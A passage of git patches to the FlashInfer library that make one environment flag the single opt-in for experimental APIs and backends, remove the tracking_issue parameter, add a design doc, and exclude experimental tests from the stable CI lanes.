with it set, stable APIs may route to +experimental backends automatically — dispatch, autotuning, and trace-apply +may consider experimental backends alongside stable ones. Without it, +experimental APIs raise `RuntimeError` and automatic routing considers only +stable backends. **Requirements for every experimental feature:** diff --git a/docs/experimental.rst b/docs/experimental.rst index 3d226663e80..91bbb2201f2 100644 --- a/docs/experimental.rst +++ b/docs/experimental.rst @@ -4,16 +4,17 @@ Experimental APIs and Backends ============================== FlashInfer distinguishes stable functionality from **experimental** -functionality intended for fast-moving work such as client-GPU (e.g. SM12x) -kernels: +functionality intended for fast-moving work — client-GPU (e.g. SM12x) +kernels, new operations from the latest models, or highly specialized kernels +for specific problem sizes: - an **experimental API** is a public interface that may change or disappear; - an **experimental backend** is an implementation that is not yet ready for stable support. -A stable API may expose an experimental backend through explicit opt-in -(e.g. an explicit ``backend=`` argument), and experimental APIs are marked -with an experimental warning in their documentation. +A stable API may route to an experimental backend once experimental features +are enabled, and experimental APIs are marked with an experimental warning in +their documentation. Enabling experimental features ------------------------------ @@ -25,10 +26,11 @@ All experimental behavior requires an explicit opt-in: export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 Without this variable, experimental APIs raise ``RuntimeError`` and stable -APIs never route to experimental backends. The variable *permits* -experimental functionality; it does not *select* it — routing to an -experimental backend additionally requires explicit selection at the call -site. The first use of an experimental API in a process emits an +APIs never route to experimental backends. The variable is the single +opt-in: with it set, stable APIs may route to experimental backends +automatically (dispatch, autotuning, trace-apply), and an explicit +``backend=`` argument remains available to force a specific backend. The +first use of an experimental API in a process emits an ``ExperimentalWarning``. User contract @@ -42,7 +44,7 @@ supported framework releases. Each experimental feature's documentation identifies whether the API, the backend, or both are experimental; the supported use cases and limitations; -and any explicit backend-selection requirement. +and whether the feature participates in automatic routing once enabled. Experimental features are JIT-only: they are not included in the ``flashinfer-jit-cache`` / ``flashinfer-cubin`` pre-built packages. diff --git a/flashinfer/api_logging.py b/flashinfer/api_logging.py index 72b2cfc5344..f7dfdc30766 100644 --- a/flashinfer/api_logging.py +++ b/flashinfer/api_logging.py @@ -2563,9 +2563,10 @@ def is_experimental_enabled() -> bool: Experimental features are permitted when the environment variable ``FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES`` is set to ``1``. - Note that this flag *permits* experimental functionality; it never - *selects* it. Stable APIs must still require explicit opt-in (e.g. an - explicit ``backend=`` argument) to route to an experimental backend. + Setting the flag is the single opt-in for experimental functionality: + with it set, stable APIs may route to experimental backends + automatically (dispatch, autotuning, trace-apply). When unset, + automatic routing must consider only stable backends. The environment variable is read on every call so the gate can be toggled at runtime (e.g. in tests). The check is a single dict lookup @@ -2574,29 +2575,24 @@ def is_experimental_enabled() -> bool: return os.environ.get(_EXPERIMENTAL_ENV_VAR, "0") == "1" -def _experimental_disabled_message( - feature: str, tracking_issue: Optional[str] = None -) -> str: - msg = ( +def _experimental_disabled_message(feature: str) -> str: + return ( f"'{feature}' is experimental FlashInfer functionality and is disabled " f"by default. Set {_EXPERIMENTAL_ENV_VAR}=1 to enable it. Experimental " f"features provide no compatibility guarantees and may change or be " f"removed without deprecation." ) - if tracking_issue: - msg += f" Tracking issue: {tracking_issue}" - return msg -def require_experimental(feature: str, tracking_issue: Optional[str] = None) -> None: +def require_experimental(feature: str) -> None: """Raise ``RuntimeError`` unless experimental features are enabled. - Use this in the thin core entry point of a *stable* API that exposes an - *experimental* backend through explicit selection, before handing off to - code under ``flashinfer.experimental``: + Use this in the thin core entry point of a *stable* API that routes to an + *experimental* backend — via explicit ``backend=`` selection or automatic + routing — before handing off to code under ``flashinfer.experimental``: >>> if backend == "experimental_xyz": - ... require_experimental("mm_xyz experimental backend", tracking_issue="...") + ... require_experimental("mm_xyz experimental backend") ... from flashinfer.experimental import xyz # deferred import ... return xyz.run(...) @@ -2605,12 +2601,9 @@ def require_experimental(feature: str, tracking_issue: Optional[str] = None) -> feature : str Human-readable name of the experimental feature, used in the error message. - tracking_issue : Optional[str] - URL of the tracking issue for this feature, appended to the error - message when provided. """ if not is_experimental_enabled(): - raise RuntimeError(_experimental_disabled_message(feature, tracking_issue)) + raise RuntimeError(_experimental_disabled_message(feature)) def flashinfer_experimental_api( @@ -2618,7 +2611,6 @@ def flashinfer_experimental_api( *, trace=None, feature: Optional[str] = None, - tracking_issue: Optional[str] = None, ) -> Callable: """Decorator marking a public FlashInfer API as experimental. @@ -2644,16 +2636,10 @@ def flashinfer_experimental_api( feature : Optional[str] Human-readable feature name used in the gate error and warning. Defaults to the function's qualified name. - tracking_issue : Optional[str] - URL of the feature's tracking issue. Optional in code, but required - by policy for merged experimental APIs (see the README); prefer - passing it so error messages point users at the feature's status. Examples -------- - >>> @flashinfer_experimental_api( - ... tracking_issue="https://github.com/flashinfer-ai/flashinfer/issues/1234" - ... ) + >>> @flashinfer_experimental_api ... def my_new_op(x, y): ... ... """ @@ -2667,9 +2653,7 @@ def decorator(f: Callable) -> Callable: def wrapper(*args, **kwargs): nonlocal warned if not is_experimental_enabled(): - raise RuntimeError( - _experimental_disabled_message(feature_name, tracking_issue) - ) + raise RuntimeError(_experimental_disabled_message(feature_name)) if not warned: warned = True warn_msg = ( @@ -2677,14 +2661,11 @@ def wrapper(*args, **kwargs): f"provides no compatibility guarantees and may change or be " f"removed without deprecation." ) - if tracking_issue: - warn_msg += f" Tracking issue: {tracking_issue}" warnings.warn(warn_msg, ExperimentalWarning, stacklevel=2) return logged(*args, **kwargs) wrapper.is_experimental = True # type: ignore[attr-defined] wrapper.experimental_feature = feature_name # type: ignore[attr-defined] - wrapper.tracking_issue = tracking_issue # type: ignore[attr-defined] banner = ( ".. warning::\n" f" ``{feature_name}`` is experimental. It requires " diff --git a/flashinfer/experimental/CLAUDE.md b/flashinfer/experimental/CLAUDE.md index 9938d0662f3..5c3f3e6b9ce 100644 --- a/flashinfer/experimental/CLAUDE.md +++ b/flashinfer/experimental/CLAUDE.md @@ -20,13 +20,14 @@ point that validates, checks the feature gate, and hands off to this package. import after calling `require_experimental(...)`. - **Never** register experimental modules in `flashinfer/aot.py` — experimental features are JIT-only and must not ship in pre-built packages. -- **Never** let a stable API route here by default. The env var - `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` *permits* experimental - behavior; explicit selection (e.g. `backend="experimental_xyz"`) *selects* - it. Both are required. +- **Never** let a stable API route here while the gate is off. Setting + `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` permits experimental behavior, + including automatic routing from stable APIs to experimental backends + (dispatch, autotuning, trace-apply); without it, routing must consider + only stable backends. - **Never** eagerly import this package from `flashinfer/__init__.py`. - Autotuner tactic enumeration and trace_apply substitution must not pick - experimental paths without the gate plus explicit opt-in. + experimental paths without the gate. ## Adding an experimental API (new public function) @@ -36,9 +37,7 @@ point that validates, checks the feature gate, and hands off to this package. ```python from .api_logging import flashinfer_experimental_api - @flashinfer_experimental_api( - tracking_issue="https://github.com/flashinfer-ai/flashinfer/issues/NNNN", - ) + @flashinfer_experimental_api def my_new_op(x, ...): """Docstring (the decorator prepends the experimental banner).""" # shared validation only @@ -51,13 +50,14 @@ point that validates, checks the feature gate, and hands off to this package. ## Exposing an experimental backend from a stable API -In the stable API's dispatch, behind an explicit `backend=` value: +In the stable API's dispatch — behind an explicit `backend=` value or an +automatic-routing branch — guard the handoff with `require_experimental`: ```python from .api_logging import require_experimental if backend == "experimental_xyz": - require_experimental("op_name experimental_xyz backend", tracking_issue="...") + require_experimental("op_name experimental_xyz backend") from .experimental.xyz import run # deferred import return run(...) ``` diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md index 4dddcb0e59e..11bf1b2bbed 100644 --- a/flashinfer/experimental/README.md +++ b/flashinfer/experimental/README.md @@ -8,9 +8,10 @@ FlashInfer. Code under `flashinfer/experimental/` and every API marked with FlashInfer applies uniform review and support expectations to stable user-facing functionality. That works well for long-term-supported features, -especially on datacenter architectures, but less well for fast-moving work -(e.g. client-GPU kernels on SM12x) where users value functional availability -over API or implementation stability. +but less well for fast-moving work — client-GPU (e.g. SM12x) kernels, new +operations from the latest models, or highly specialized kernels for specific +problem sizes — where users value functional availability over API or +implementation stability. FlashInfer therefore distinguishes: @@ -26,7 +27,7 @@ These are separate concerns: | Stable API | Normal path | Allowed with opt-in | | Experimental API | Not a target use case | Allowed with opt-in | -In this document, **core** refers to the existing non-experimental codebase +In this README, **core** refers to the existing non-experimental codebase (everything outside `flashinfer/experimental/`). ## Selected design @@ -42,7 +43,7 @@ Where core contains an experimental entry point, it may include only: - the public API signature; - general (shared) validation; - the feature-gate check; -- explicit backend selection; +- backend selection; - a direct handoff to `flashinfer.experimental`. Backend-specific support checks, heuristics, routing, compilation, caching, @@ -58,18 +59,19 @@ All experimental behavior requires: export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 ``` -Without this opt-in: +**Without** this opt-in: - experimental APIs raise `RuntimeError` when called; - stable APIs must not select experimental backends; - automatic routing (backend dispatch, autotuning, trace-apply substitution) must consider only stable backends. -**The environment variable permits experimental functionality; it does not -select it.** A stable API must additionally require explicit selection (e.g. -an explicit `backend=` argument) to route to an experimental backend. Stable -APIs must never silently select experimental backends, with or without the -flag. +**The environment variable is the single opt-in.** With it set, stable APIs +may route to experimental backends automatically: backend dispatch, +autotuning, and trace-apply substitution may consider experimental backends +alongside stable ones. Setting the flag is consent to experimental behavior +wherever it applies; an explicit `backend=` argument remains available to +force a specific backend but is not required. Importing `flashinfer.experimental` is always allowed so that tooling, docs, and introspection work without the flag; the gate is enforced at call time. @@ -79,16 +81,54 @@ and introspection work without the flag; the gate is enforced at call time. Defined in `flashinfer/api_logging.py` and re-exported from `flashinfer.experimental`: -- `@flashinfer_experimental_api(trace=..., feature=..., tracking_issue=...)` +- `@flashinfer_experimental_api(trace=..., feature=...)` — marks a public experimental API. Composes with `@flashinfer_api` (logging/dump/trace still work), enforces the gate, emits an `ExperimentalWarning` once per process, and sets `is_experimental = True` for mechanical identification. -- `require_experimental(feature, tracking_issue=None)` — call in the thin - core entry point of a stable API before handing off to an experimental - backend. +- `require_experimental(feature)` — call in the thin core entry point of a + stable API before handing off to an experimental backend. - `is_experimental_enabled()` — raw gate check. +### Adding an experimental API (new public function) + +Implement the backend under `flashinfer/experimental//`, then add +the public function in the appropriate core module, decorated: + +```python +from .api_logging import flashinfer_experimental_api + +@flashinfer_experimental_api +def my_new_op(x, ...): + """Docstring (the decorator prepends the experimental banner).""" + # shared validation only + from .experimental.my_feature import run # deferred import + return run(x, ...) +``` + +The decorator enforces the gate (`RuntimeError` when off), warns once per +process (`ExperimentalWarning`), and sets `is_experimental = True`. + +Note that the function body is exactly the **thin core entry point** from the +selected design: shared validation, then a deferred (function-local) import +and a direct handoff to `flashinfer.experimental`. Everything +backend-specific stays under `flashinfer/experimental/`, and the deferred +import keeps `import flashinfer` from ever loading experimental code. + +### Exposing an experimental backend from a stable API + +In the stable API's dispatch — behind an explicit `backend=` value or an +automatic-routing branch — guard the handoff with `require_experimental`: + +```python +from .api_logging import require_experimental + +if backend == "experimental_xyz": + require_experimental("op_name experimental_xyz backend") + from .experimental.xyz import run # deferred import + return run(...) +``` + ## Ownership and lifecycle Every experimental feature must have: @@ -114,8 +154,16 @@ reasons for removal **without** stable deprecation guarantees. ## Admission criteria -The initial focus is fast-moving client-GPU kernels and backends, including -SM12x. Other categories may be admitted with maintainer approval. +The admitted use cases are the fast-moving work this policy exists for: + +- **client-GPU kernels and backends** (e.g. SM12x); +- **new operations from the latest models**, where functional support can + land ahead of a finalized stable API; +- **highly specialized kernels for specific problem sizes**, which enter as + experimental backends behind an existing stable API rather than as new + APIs. + +Other categories may be admitted with maintainer approval. A feature requires documented justification, such as: @@ -141,12 +189,18 @@ Tests live under `tests/experimental/` and run in a separate CI lane; they must pass for PRs that modify the feature. Changes under `flashinfer/experimental/` receive narrower review focused on -eligibility, correctness, containment, licensing, and obvious safety or +eligibility, correctness, containment, and obvious safety or maintainability risks. Changes to core (including thin entry points) follow the normal core review process; reviewers verify that integration is explicit, stable behavior is unchanged by default, and backend-specific logic has not leaked into core. +The tracking issue is reviewed together with the PR itself, especially when +the PR introduces a new experimental feature (as opposed to small +improvements to an existing experimental backend): reviewers assess the +documented use case, the reason for taking the experimental path, and the +graduation plan as part of admission. + Broad portability, comprehensive performance coverage, and long-term maintainability are **not** required at admission. @@ -155,7 +209,7 @@ maintainability are **not** required at admission. Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: - **Trace templates** (`flashinfer/trace/templates/`) are optional for - experimental APIs (recommended before graduation). + experimental APIs (needed for graduation). - **AOT registration** (`flashinfer/aot.py`) is **prohibited**: experimental features are JIT-only so they never ship in `flashinfer-jit-cache` / `flashinfer-cubin` pre-built packages. Exceptions require maintainer @@ -171,10 +225,12 @@ Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: - `flashinfer/__init__.py` must not eagerly import `flashinfer.experimental` (import cost; experimental code may depend on optional packages). - Code under `flashinfer/experimental/` may import freely from core. -- Autotuner tactic enumeration and `trace_apply` kernel substitution must not - select experimental paths unless the gate is set *and* the caller - explicitly opted in. Experimental tactics serialized into autotune caches - must be skippable by loaders after the feature is removed. +- Experimental backends for stable, autotunable APIs must ensure that + experimental tactics captured while experimental features are enabled do + not interfere with environments where experimental features are turned + off: autotune caches and `trace_apply` configurations containing + experimental tactics must be safely skippable by loaders — falling back to + stable tactics — when the gate is off or the feature has been removed. ## User contract @@ -186,7 +242,8 @@ Documentation for each feature must identify: - whether the API, the backend, or both are experimental; - supported use cases and limitations; - required feature gates; -- any explicit backend-selection requirement. +- whether the feature participates in automatic routing (dispatch, + autotuning, trace-apply) once the gate is set. Experimental features are intended primarily for main-branch users, community containers, and local framework integrations. They should not be enabled by diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py index b8779ff8bad..38dc80e214b 100644 --- a/tests/experimental/test_experimental_api.py +++ b/tests/experimental/test_experimental_api.py @@ -30,9 +30,6 @@ require_experimental, ) -ISSUE_URL = "https://github.com/flashinfer-ai/flashinfer/issues/0" - - def _make_add(): @flashinfer_experimental_api def sample_add(x, y): @@ -80,15 +77,13 @@ def test_mechanical_identification(monkeypatch): def test_decorator_with_arguments(monkeypatch): monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) - @flashinfer_experimental_api(feature="my_feature", tracking_issue=ISSUE_URL) + @flashinfer_experimental_api(feature="my_feature") def sample_mul(x, y): return x * y assert sample_mul.experimental_feature == "my_feature" - assert sample_mul.tracking_issue == ISSUE_URL - with pytest.raises(RuntimeError, match="my_feature") as excinfo: + with pytest.raises(RuntimeError, match="my_feature"): sample_mul(2, 3) - assert ISSUE_URL in str(excinfo.value) monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") with pytest.warns(ExperimentalWarning, match="my_feature"): @@ -97,9 +92,8 @@ def sample_mul(x, y): def test_require_experimental(monkeypatch): monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) - with pytest.raises(RuntimeError, match="some backend") as excinfo: - require_experimental("some backend", tracking_issue=ISSUE_URL) - assert ISSUE_URL in str(excinfo.value) + with pytest.raises(RuntimeError, match="some backend"): + require_experimental("some backend") monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") require_experimental("some backend") # must not raise From 4a220cb381b7aeda164e8970c261da2c471c3a99 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Fri, 7 Aug 2026 09:15:05 -0700 Subject: [PATCH 04/41] Minor update --- CLAUDE.md | 2 +- tests/experimental/test_experimental_api.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CLAUDE.md b/CLAUDE.md index 4ad9dfeafae..c111e11480a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -581,7 +581,7 @@ Used by `flashinfer.trace` / `fi_trace`. | Variable | Default | Read in | Effect | |----------|---------|---------|--------| -| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see "Experimental Code" below). The flag is the single opt-in: with it set, stable APIs may route to experimental backends automatically (dispatch, autotuning, trace-apply). Without it, experimental APIs raise `RuntimeError` and automatic routing considers only stable backends. | +| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see the "Experimental Code" section). The flag is the single opt-in: with it set, stable APIs may route to experimental backends automatically (dispatch, autotuning, trace-apply). Without it, experimental APIs raise `RuntimeError` and automatic routing considers only stable backends. | | `FLASHINFER_VALIDATE_INPUTS` | `0` | `flashinfer/mla/_core.py` (MLA wrapper) | Non-zero / non-empty value enables defensive input validation inside the MLA wrapper. Adds host-side overhead; intended for debugging. | | `FLASHINFER_AUTOTUNER_LOAD_FROM_FILE` | `0` | `flashinfer/autotuner/autotuner.py` | `1` loads previously serialized autotune results from disk instead of re-running the search. | | `FLASHINFER_AUTOTUNE_DIR` | unset | `flashinfer/mla/_sparse_mla_sm120.py` | Override the disk path for MLA AutoTuner cache files. Falls back to `FLASHINFER_WORKSPACE_DIR` when unset. | diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py index 38dc80e214b..e1aaeff7195 100644 --- a/tests/experimental/test_experimental_api.py +++ b/tests/experimental/test_experimental_api.py @@ -30,6 +30,7 @@ require_experimental, ) + def _make_add(): @flashinfer_experimental_api def sample_add(x, y): From e2b9601ab65f2516c91be10a132feff77813ef05 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Tue, 1 Sep 2026 13:39:19 -0700 Subject: [PATCH 05/41] Add design doc --- .../experimental_apis_and_backends.md | 176 ++++++++++++++++++ 1 file changed, 176 insertions(+) create mode 100644 docs/design_docs/experimental_apis_and_backends.md diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md new file mode 100644 index 00000000000..c0c4b488c15 --- /dev/null +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -0,0 +1,176 @@ +# Experimental APIs and Backends in FlashInfer + +This document records the motivation and design decision; the normative policy is [`flashinfer/experimental/README.md`](../../flashinfer/experimental/README.md).* + +## Overview + +FlashInfer currently applies the same review and support expectations to most user-facing functionality. + +This works well for functionality intended for long-term support, especially on datacenter architectures where stability is critical. It works less well for fast-moving client-GPU support, where users often value functional availability over API or implementation stability. + +The proposal was motivated by expedited SM12x kernel delivery, but the problem is broader. FlashInfer needs to distinguish and accommodate: + +* an **experimental API**, whose interface may change or disappear (e.g. new op from a new model); and + +* an **experimental backend**, whose implementation is not yet ready for stable support (e.g. Kernel Factory-generated kernel). + +These are separate concerns. A stable API may expose an experimental backend through explicit opt-in, while an experimental API must be clearly identified and gated. + +This document records the selected placement and identification design for experimental APIs and backends, and the rules that govern them. + +Throughout, experimental behavior must be explicitly enabled, tested for its intended use case, and governed by ownership and lifecycle rules. In this document, **core** refers to the existing non-experimental codebase. + +## Design: Tagged experimental APIs in core; experimental backends in `flashinfer.experimental` + +API stability and backend stability are separate decisions. + +| | Stable Backend | Experimental Backend | +| ----- | :---: | :---: | +| Stable API | Normal Path | Allowed with Opt in | +| Experimental API | Not a target use case | Allowed with Opt in | + +Experimental APIs live in core and are marked with `@flashinfer_experimental_api`. + +Experimental backends and backend-specific logic live under the `flashinfer.experimental` directory. + +Core contains only a thin entry point: + +* public API signature; +* general validation; +* feature-gate check; +* minimal handoff. + +Support checks, heuristics within the experimental backend, routing, compilation, caching, and kernels remain under `flashinfer.experimental`. + +This supports both: + +* a tagged experimental API backed by an experimental backend; and +* a stable API exposing an experimental backend once the opt-in is set. + +This design preserves a unified API surface while strongly isolating fast-moving implementation code. + +### **Feature gating** + +All experimental backend paths require: `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` + +**Without** this opt-in: + +* experimental APIs must be gated off; +* stable APIs must not select experimental backends; +* automatic routing must consider only stable backends. + +**With** this opt-in, stable APIs may route to experimental backends automatically: backend dispatch, autotuning, and trace-apply substitution may consider experimental backends alongside stable ones. Setting the flag is consent to experimental behavior wherever it applies; an explicit `backend=` argument remains available to force a specific backend but is not required. + +## Common Rules for Experimental APIs and Backends + +The following rules apply to all experimental APIs and backends. + +### **1\. Ownership and lifecycle** + +Every experimental feature must have: + +* a named owner; +* a tracking issue that + * documents the feature's use case; + * states the reason for entering the experimental path (see the justification list in §2); + * states a graduation plan and target release for graduation. + * e.g. we expose this kernel first and the goal is to finalize the API and graduate by 0.6.xx release in four weeks. + +Default intent for any experimental PR should be graduation within four weeks (see §7). Experimental features are periodically reviewed and either continue incubating, graduate through the normal stable process, or are removed. + +Continued incubation should not be automatic. At each lifecycle review, the owner must document why the feature is still experimental, provide evidence of active use or progress, and identify the remaining graduation blockers. A maintainer must approve the extension. Repeating the same justification without meaningful progress is not sufficient. + +Broken tests, loss of ownership, or lack of meaningful usage are sufficient reasons for removal without stable deprecation guarantees. + +### **2\. Initial scope and admission** + +The admitted use cases are the fast-moving work this policy exists for: + +* client-GPU kernels and backends (e.g. SM12x); +* new operations from the latest models, where functional support can land ahead of a finalized stable API; +* highly specialized kernels for specific problem sizes, which enter as experimental backends behind an existing stable API rather than as new APIs. + +Other categories, such as CTM or Kernel Factory kernels, may be admitted with maintainer approval. + +A feature requires documented justification, such as: + +* a new operator family or algorithm; +* a materially different API contract; +* a new compiler, backend, or architecture-specific implementation path; +* a use case FlashInfer has not committed to maintain. + +A new experimental API should not be created for a parameter-space extension of an existing stable API. An experimental backend may implement an existing stable API when it introduces a materially new implementation path. + +### **3\. Placement and integration** + +Experimental backend logic lives under `flashinfer.experimental`. + +Where core contains an experimental entry point, it may include only: + +* API definition; +* shared validation; +* feature-gate check; +* backend selection; +* direct handoff. + +Backend-specific support checks, routing, compilation, caching, and kernels remain outside core. + +### **4\. API identification** + +Public experimental APIs are marked with `@flashinfer_experimental_api`. + +Stable APIs exposing experimental backends remain marked with `@flashinfer_api`. + +The decorator sets `is_experimental = True` on the decorated function so that tooling can mechanically distinguish intentionally experimental public APIs from internal helpers and accidentally untagged APIs. + +### **5\. Testing and review** + +Every experimental feature must include: + +* correctness tests against a reference; +* at least one representative supported configuration; +* validation on intended hardware; +* a runnable example. + +Experimental tests run in a separate CI lane and must pass for PRs that modify the feature. + +Changes under `flashinfer.experimental` receive narrower review focused on eligibility, correctness, containment, licensing, and obvious safety or maintainability risks. + +Changes to core follow the normal core review process. Reviewers should verify that integration is explicit, stable behavior is unchanged by default, and backend-specific logic has not leaked into core. + +Broad portability, comprehensive performance coverage, and long-term maintainability are not required for the experimental implementation at admission. + +### **6\. User contract** + +Experimental APIs and backends provide no compatibility or long-term support guarantees and may change or be removed without deprecation. + +Documentation must identify: + +* whether the API, backend, or both are experimental; +* supported use cases and limitations; +* required feature gates; +* whether the feature participates in automatic routing (dispatch, autotuning, trace-apply) once the gate is set. + +Experimental features are intended primarily for main-branch users, community containers, and local framework integrations. They should not be enabled by default in supported framework releases. + +A request for default or supported release-path integration is a signal that the feature should be considered for graduation. + +### **7\. Miscellaneous** + +* Experimental APIs and backends are JIT-only. AOT registration is prohibited. +* We set four weeks as the default lifecycle review cadence, but each experimental feature author can propose a planned lifecycle in their tracking issue with justification. + + +## Non-goals + +This document does not: + +- commit FlashInfer to supporting every new model, operator, or backend; + +- guarantee that experimental features will graduate; + +- provide compatibility or long-term maintenance guarantees; + +- allow experimental behavior to activate by default; + +- lower review or support expectations for stable core functionality. From 32f3e25434d15b8ded79d3096d3eb3ba51ea8abe Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Tue, 1 Sep 2026 14:39:45 -0700 Subject: [PATCH 06/41] Exclude from main branch unit tests --- docs/design_docs/experimental_apis_and_backends.md | 4 +--- flashinfer/api_logging.py | 3 +++ flashinfer/experimental/README.md | 14 ++++++++++++++ pytest.ini | 4 +++- scripts/pr_checks/inspect_sources.py | 3 +++ tests/experimental/test_experimental_api.py | 10 ++++++++++ tests/trace/template_registry.py | 8 +++++++- tests/trace/test_template_registry.py | 5 +++++ 8 files changed, 46 insertions(+), 5 deletions(-) diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index c0c4b488c15..a81fcffbceb 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -8,7 +8,7 @@ FlashInfer currently applies the same review and support expectations to most us This works well for functionality intended for long-term support, especially on datacenter architectures where stability is critical. It works less well for fast-moving client-GPU support, where users often value functional availability over API or implementation stability. -The proposal was motivated by expedited SM12x kernel delivery, but the problem is broader. FlashInfer needs to distinguish and accommodate: +The initial proposal was motivated by expedited SM12x kernel delivery, but the problem is broader. FlashInfer needs to distinguish and accommodate: * an **experimental API**, whose interface may change or disappear (e.g. new op from a new model); and @@ -90,8 +90,6 @@ The admitted use cases are the fast-moving work this policy exists for: * new operations from the latest models, where functional support can land ahead of a finalized stable API; * highly specialized kernels for specific problem sizes, which enter as experimental backends behind an existing stable API rather than as new APIs. -Other categories, such as CTM or Kernel Factory kernels, may be admitted with maintainer approval. - A feature requires documented justification, such as: * a new operator family or algorithm; diff --git a/flashinfer/api_logging.py b/flashinfer/api_logging.py index 70782a4be53..be25380f992 100644 --- a/flashinfer/api_logging.py +++ b/flashinfer/api_logging.py @@ -2655,6 +2655,9 @@ def flashinfer_experimental_api( """ def decorator(f: Callable) -> Callable: + # Mark the original too: flashinfer_api registers `f` (not the wrapper) + # in _TRACE_REGISTRY, and the stable trace tests filter on this flag. + f.is_experimental = True # type: ignore[attr-defined] logged = flashinfer_api(f, trace=trace) feature_name = feature if feature is not None else f.__qualname__ warned = False diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md index 11bf1b2bbed..d51ffc92a4a 100644 --- a/flashinfer/experimental/README.md +++ b/flashinfer/experimental/README.md @@ -232,6 +232,20 @@ Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: experimental tactics must be safely skippable by loaders — falling back to stable tactics — when the gate is off or the feature has been removed. +### Isolation from stable tests and checks + +Stable CI lanes and PR checks must never fail because of experimental code: + +- `tests/experimental/` is excluded from `pytest tests/` via `norecursedirs` + in `pytest.ini`; experimental tests run only in their own lane, invoked + explicitly as `pytest tests/experimental/`. +- Trace-registry tooling (`tests/trace/`) and `scripts/pr_checks/` match + `@flashinfer_api` by literal name on purpose; `@flashinfer_experimental_api` + functions are excluded from the stable trace-consistency tests and from the + docstring and API/RST coverage checks. +- Experimental APIs are not listed in `docs/api/*.rst` before graduation + (the API/RST check would report them as stale). + ## User contract Experimental APIs and backends provide no compatibility or long-term support diff --git a/pytest.ini b/pytest.ini index 91154582cac..2d7fdc5a866 100644 --- a/pytest.ini +++ b/pytest.ini @@ -1,3 +1,5 @@ [pytest] -norecursedirs = test_helpers +# `experimental` keeps `pytest tests/` (stable lanes) from recursing into +# tests/experimental/; an explicit `pytest tests/experimental/` still collects it. +norecursedirs = test_helpers experimental addopts = --import-mode=importlib diff --git a/scripts/pr_checks/inspect_sources.py b/scripts/pr_checks/inspect_sources.py index d6630b9bc6c..c928b69d61d 100644 --- a/scripts/pr_checks/inspect_sources.py +++ b/scripts/pr_checks/inspect_sources.py @@ -15,6 +15,9 @@ - ``iter_decorated_functions`` is a generator yielding ``(py_file, module_dotted_name, FunctionDef)`` tuples — the canonical way to scan all ``@flashinfer_api`` functions in the flashinfer package. +- ``@flashinfer_experimental_api`` does **not** match ``flashinfer_api`` (no + dot before the suffix). This is intentional: experimental APIs are excluded + from the stable docstring and API/RST checks until they graduate. """ from __future__ import annotations diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py index e1aaeff7195..06c553ef790 100644 --- a/tests/experimental/test_experimental_api.py +++ b/tests/experimental/test_experimental_api.py @@ -107,3 +107,13 @@ def test_experimental_namespace_reexports(): assert fe.require_experimental is require_experimental assert fe.is_experimental_enabled is is_experimental_enabled assert fe.ExperimentalWarning is ExperimentalWarning + + +def test_original_function_is_marked_for_registry_filtering(): + def raw(x): + return x + + decorated = flashinfer_experimental_api(raw) + # The trace registry stores the original, so the flag must live there too. + assert raw.is_experimental is True + assert decorated.is_experimental is True diff --git a/tests/trace/template_registry.py b/tests/trace/template_registry.py index da48806a3ae..25df61f13d4 100644 --- a/tests/trace/template_registry.py +++ b/tests/trace/template_registry.py @@ -121,8 +121,14 @@ def collect_registered_trace_templates() -> list[TraceRegistryEntry]: from flashinfer.api_logging import _TRACE_REGISTRY + # Experimental APIs live in core modules, so filter them by the flag that + # @flashinfer_experimental_api sets on the registered function; they are + # exercised by the experimental lane, not the stable trace tests. entries = [ - entry for entry in _TRACE_REGISTRY if entry[0].__module__ in available_modules + entry + for entry in _TRACE_REGISTRY + if entry[0].__module__ in available_modules + and not getattr(entry[0], "is_experimental", False) ] keys = [trace_registry_entry_key(entry) for entry in entries] if len(keys) != len(set(keys)): diff --git a/tests/trace/test_template_registry.py b/tests/trace/test_template_registry.py index 810e354514c..78fe3a36bfd 100644 --- a/tests/trace/test_template_registry.py +++ b/tests/trace/test_template_registry.py @@ -37,6 +37,8 @@ def _uses_trace_decorator(node: ast.AST) -> bool: "id", getattr(decorator.func, "attr", None), ) + # Literal match on purpose: @flashinfer_experimental_api(trace=...) is + # excluded so experimental APIs never enter the stable inventory. if name == "flashinfer_api" and any( keyword.arg == "trace" for keyword in decorator.keywords ): @@ -47,7 +49,10 @@ def _uses_trace_decorator(node: ast.AST) -> bool: def _registration_modules_from_source() -> set[str]: package_root = Path(__file__).parents[2] / "flashinfer" modules: set[str] = set() + experimental_root = package_root / "experimental" for path in package_root.rglob("*.py"): + if experimental_root in path.parents: + continue tree = ast.parse(path.read_text(encoding="utf-8"), filename=str(path)) if not 